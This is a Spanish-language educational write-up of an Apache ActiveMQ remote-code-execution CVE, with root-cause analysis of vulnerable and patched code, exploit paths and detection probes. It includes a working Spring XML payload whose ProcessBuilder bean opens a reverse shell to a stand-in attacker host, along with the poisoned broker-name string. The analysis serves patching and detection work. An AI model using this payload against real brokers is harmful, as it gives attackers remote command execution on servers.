
# Recorrido educativo y prueba de concepto para CVE-2026-41044, un RCE de Apache ActiveMQ, con análisis de causa raíz y script de detección.
Nota: Solo con fines educativos
CVE-2026-41044 fue divulgado el 24 de abril de 2026. Es un bug de ejecución remota de código en Apache ActiveMQ Classic, encontrado por jsjcw, parcheado en 5.19.6 y 6.2.5. No lo encontré yo.
Lo que quiero mostrar es cómo alguien que nunca ha tocado ActiveMQ antes puede producir un exploit funcional de un N-day en una tarde, porque el código parcheado es público, el código sin parchear es público, y la brecha entre ambos está a un git diff de distancia.
El proceso es simple:
Lo que solía tomar días ahora toma una tarde. La IA no encuentra bugs. Lee código y lo explica tan rápido como puedas hacer preguntas. La parte costosa sigue siendo tú: decidir qué es realmente explotable, dónde están los verdaderos límites de confianza, qué necesita verificación. El modelo simplemente recorre grafos de llamadas más rápido de lo que cualquier humano puede.
El punto más amplio: si tu flujo de trabajo de parcheo asume una semana de tiempo de análisis por CVE, estás en la línea de tiempo antigua. git diff tiene la misma longitud ya sea que estés escribiendo detección o exploits.
ActiveMQ es un broker de mensajes. Se sitúa en el medio y pasa mensajes entre aplicaciones. Piénsalo como una oficina de correos: las aplicaciones dejan mensajes, ActiveMQ los entrega al destinatario correcto. Está ampliamente desplegado en stacks Java empresariales y expone una consola web y una API de gestión REST llamada Jolokia en /api/jolokia/. Las credenciales predeterminadas en muchos despliegues siguen siendo admin:admin.
ActiveMQ permitía a cualquier usuario autenticado cargar una configuración de broker desde una URL HTTP arbitraria, que Spring analizaba y ejecutaba inmediatamente como objetos Java - incluyendo ProcessBuilder - otorgando al atacante ejecución completa de comandos del sistema operativo en el servidor del broker.
localhost./api/jolokia/ que expone operaciones de gestión como una API REST. Cualquier credencial válida de la consola web llega a él - no solo admin.vm://: el transporte en proceso utilizado cuando un cliente vive en el mismo JVM que el broker. Acepta un parámetro de consulta ?brokerConfig= que apunta a una configuración XML de Spring para arrancar un broker desde ella.xbean:: un esquema de URL que le dice a ActiveMQ que trate la URL como una configuración XML de Spring y la cargue.init-method: Spring lee XML y crea automáticamente objetos Java (beans). El atributo init-method le dice a Spring que llame a un método en el bean en el momento en que se crea - antes de que cualquier otra cosa se ejecute.ProcessBuilder: una clase Java estándar que ejecuta comandos del sistema operativo. ProcessBuilder.start() ejecuta el comando.DestinationView.sendTextMessage() en 5.19.2 construye una URL de conexión del broker concatenando directamente el nombre del broker en una cadena:
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
Si getBrokerName() devuelve localhost?brokerConfig=xbean:http://attacker/poison.xml, toda esa cadena se convierte en una URI vm:// válida con un parámetro de consulta incrustado. ActiveMQConnectionFactory se lo entrega a VMTransportFactory, que extrae el parámetro brokerConfig y lo usa como la URL de configuración de arranque del broker.
El fix en 5.19.6 es una línea:
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();
String se convierte en URI - la concatenación accidental ya no es posible. El valor proviene de un objeto URI preconstruido e inmutable derivado del conector VM real registrado del broker, no de una cadena de nombre mutable.
Para que la Capa 1 sea explotable, el nombre del broker tiene que ser envenenado primero. BrokerService siempre ha saneado los nombres de broker:
// BrokerService.setBrokerName() - presente en AMBAS versiones
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
Esa expresión regular elimina ? y = limpiamente. El CVE existía porque RegionBroker tenía su propio setter separado que no lo hacía:
// 5.19.2 - RegionBroker.java
private String brokerName; // mutable
public void setBrokerName(String brokerName) {
this.brokerName = brokerName; // sin validación alguna
}
Este es un clásico deputy confundido - dos setters en clases relacionadas, solo uno de ellos saneando. Un peer remoto que transmite un paquete BrokerInfo manipulado con un campo de nombre envenenado llega directamente a RegionBroker.setBrokerName(), evitando por completo la expresión regular de BrokerService.
El fix en 5.19.6 elimina el setter, hace el campo final y lo inicializa una vez desde el padre ya saneado:
// 5.19.6 - RegionBroker.java
private final String brokerName; // inmutable
public RegionBroker(BrokerService brokerService, ...) {
this.brokerName = Objects.requireNonNull(
brokerService.getBrokerName(), "The broker name cannot be null");
// setBrokerName() ha desaparecido. Ya no hay setter.
}
No puedes evadir un saneador que no tiene escritor paralelo.
VMTransportFactory.doCompositeConnect() es la función que toma la URI vm://...?brokerConfig=..., extrae el parámetro brokerConfig y llama a BrokerFactory.createBroker(brokerURI). Es el mecanismo de activación de toda la cadena.
Apache no cambió absolutamente nada aquí.
Esa elección te dice algo sobre cómo pensaron el fix. VMTransportFactory está haciendo trabajo legítimo - se supone que los transportes vm:// aceptan configuraciones de arranque. Parchearlo habría roto el diseño previsto. En su lugar, Apache arregló el bug en la fuente (Capa 2: ningún nombre envenenado puede ser escrito) y en el sumidero (Capa 5: incluso si una URL envenenada pasara, el resolvedor de recursos no la obtendrá).
Arregla las capas donde pertenece la validación, no la capa por donde el atacante pasó.
// XBeanBrokerFactory - igual en ambas versiones
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri); // Capa 5
return new ResourceXmlApplicationContext(resource) { ... };
}
ResourceXmlApplicationContext(resource) es donde Spring hace lo suyo - el init-method de cada bean se ejecuta en la construcción del contexto, antes de que el BrokerService de ActiveMQ valide el resultado. No hay parche que hacer aquí. El contrato de Spring es correcto tal como está diseñado. El bug era que ActiveMQ dependía de que la validación ocurriera antes de la instanciación, y Spring no promete ese orden.
Esta es la función que decidía si xbean:http://attacker/poison.xml debía ser obtenida. En 5.19.2:
// 5.19.2 - Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
if (new File(uri).exists()) {
return new FileSystemResource(uri);
} else if (ResourceUtils.isUrl(uri)) {
return new UrlResource(ResourceUtils.getURL(uri)); // ¿http? ¿ftp? ¿jar? sin comprobación.
} else {
return new ClassPathResource(uri);
}
}
Sin filtro de protocolo. http://, https://, ftp://, jar:// - todos aceptados silenciosamente.
El fix de 5.19.6 añade una lista blanca explícita. Solo file y classpath están permitidos por defecto. Todo lo demás lanza una excepción antes de que UrlResource sea siquiera construido:
// 5.19.6 - Utils.java
public static final String FILE_PROTOCOL = "file";
public static final String CLASSPATH_PROTOCOL = "classpath";
public static Resource resourceFromString(String uri, Set<String> allowedProtocols)
throws MalformedURLException {
// ...
} else if (ResourceUtils.isUrl(uri)) {
validateUrlAllowed(uri, allowedProtocols); // lanza si http/https/etc
resource = new UrlResource(ResourceUtils.getURL(uri));
}
}
static void validateUrlAllowed(String uriString, Set<String> allowedProtocols)
throws URISyntaxException {
if (allowedProtocols != null) {
final String detectedProtocol = getProtocolFromScheme(uriString);
if (!allowedProtocols.contains(detectedProtocol)) {
throw new IllegalArgumentException("URL [" + uriString +
"] uses protocol '" + detectedProtocol + "' which is not allowed");
}
}
}
XBeanBrokerFactory ahora pasa {file, classpath} como lista blanca. Incluso si un nombre de broker envenenado llegara a esta función en una versión futura, http://attacker/poison.xml lanzaría una excepción antes de que Spring lo viera.
<beans xmlns="http://www.springframework.org/schema/beans" ...>
<bean id="rce" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/sh</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/attacker/4444 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
En el momento en que Spring construye el ApplicationContext, init-method="start" se dispara en el bean ProcessBuilder. La validación de BrokerService.start() de ActiveMQ se ejecuta después. Para entonces el shell ya se ha conectado de vuelta.
Hay dos formas de llegar al sumidero vulnerable Utils.resourceFromString:
El camino completo de producción (lo que describe el aviso):
Un peer remoto envía un paquete BrokerInfo manipulado
-> RegionBroker.setBrokerName() almacena el nombre envenenado sin validación
-> DestinationView.sendTextMessage() lo concatena en una URL vm://
-> VMTransportFactory extrae el parámetro brokerConfig
-> XBeanBrokerFactory -> Utils.resourceFromString -> RCE de Spring
El camino corto (lo que usa poc.sh):
BrokerFactory.createBroker("xbean:http://attacker/poison.xml")
-> XBeanBrokerFactory -> Utils.resourceFromString -> RCE de Spring
El PoC toma el camino corto por una razón práctica: el camino completo requiere configurar un segundo broker ActiveMQ como peer de red que envíe un paquete BrokerInfo manipulado al objetivo - una interacción broker-a-broker que necesita una configuración de laboratorio más compleja. El camino corto funciona con un solo broker y un servidor HTTP básico.
Ambos caminos golpean la misma primitiva vulnerable. El PoC confirma que el sumidero es explotable y que el CVE está presente en el objetivo. Si quieres reproducir el punto de entrada exacto descrito en el aviso, necesitas añadir el paso broker-a-broker.
El PoC se ejecuta en modo solo-detección por defecto. Sondea dos señales:
Comprobación de banner - lee BrokerVersion vía Jolokia:
< 5.19.6 o 6.0.0 - 6.2.4 = rango vulnerableComprobación de comportamiento - llama a addNetworkConnector("vm://probe") vía Jolokia:
Transport scheme 'vm' is not allowedDiscoveryAgent scheme NOT recognizedEl rechazo en la versión parcheada proviene de BrokerView.validateAllowedUrl() - una lista de denegación separada añadida directamente a la operación JMX addNetworkConnector en 5.19.6, no de Utils.resourceFromString. Estos son dos fixes independientes: uno protege la superficie de gestión JMX, el otro protege la primitiva de carga de recursos descrita en la Capa 5. La sonda de comportamiento prueba el primero.
| Capa | Vulnerable (5.19.2) | Parcheado (5.19.6) |
|---|---|---|
DestinationView | concatenación de cadena "vm://" + brokerName | broker.getVmConnectorURI() URI inmutable |
RegionBroker | campo mutable, setter sin saneamiento | campo final, setter eliminado, inicializado desde el padre saneado |
VMTransportFactory | sin cambios | sin cambios (por diseño) |
XBeanBrokerFactory | llama a Utils.resourceFromString(uri) | llama a Utils.resourceFromString(uri, allowedProtocols) |
Utils.resourceFromString | obtiene cualquier esquema de URL | lista blanca aplicada - solo file y classpath por defecto |